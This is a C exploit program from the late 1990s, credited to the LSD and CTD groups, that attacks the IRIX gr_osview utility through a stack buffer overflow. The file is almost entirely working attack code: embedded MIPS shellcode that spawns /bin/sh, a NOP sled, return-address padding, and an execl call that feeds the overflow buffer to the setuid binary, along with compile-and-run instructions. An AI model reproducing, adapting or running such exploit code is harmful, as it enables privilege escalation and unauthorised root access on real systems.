/* http://www.anticode.com  for the latest exploits, tools and documents! */

/* copyright by */
/* Last Stage of Delirium/Crazy Techno Dweebs, Apr 1996/Jun 1997 */
/* lsd@unixgeek.com */

/* unpublished gr_osview IRIX32/IRIX64 exploit */
/* tested on 6.x */
/* released to kick David Hedley ass */

/* LsD sends greetingz to all our new friendz from CTD */

/* compile:
       cc gr.c -o gr -mips2
   run:
       gr 0                       (on IRIX32)
       gr 1000                    (on IRIX64)
*/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 8000 
#define OFFS 380
#define ADDRS 20 
#define ALIGN 3
#define ALIGN2 4

char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
char nop[]="\x24\x0f\x12\x34";

void run(unsigned char *buf) {
  execl("/usr/sbin/gr_osview","lsd/ctd","-D",buf,NULL);
  printf("execl failed\n");
}

char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";

main(int argc, char *argv[]){
  char *buf, *ptr, addr[8], addr1[8];
  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  int i, noplen=strlen(nop), TYSIAC;

  TYSIAC=atoi(argv[1]);
  buf=malloc(bufsize+(ADDRS<<2)+noplen+1);

  *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  printf("address - %p\n", *(int *)addr);

  *(int *)addr1=*(int *)addr+2056+TYSIAC;
  *(int *)addr=*(int *)addr+32636;
  printf("address - %p,%p\n", *(int *)addr-32636,*(int *)addr);

  /* extra code */
  strcpy(buf,nop);
  ptr=buf+noplen;
  buf+=align;
  for(i=0;i<128;i++)
   *ptr++=addr1[i&3];
  for(i=0;i<(800+TYSIAC);i++)
   *ptr++=addr[i&3];
  *(int *)addr=0x7fff4040;
  for(i=0;i<800;i++)
   *ptr++=addr[i&3];

  for(i=0;i<(bufsize-128-(800+TYSIAC)-800);i++)
   *ptr++=nop[i%noplen];
  memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  for(i=0;i<ALIGN2;i++)
   *ptr++=nop[i%noplen];
  for(i=0;i<(addrs<<2);i++)
   *ptr++=addr[i%sizeof(int)];
  *ptr=0;
  printf("total buf len - %d\n", strlen(buf));
  fflush(stdout);

  run(buf);
}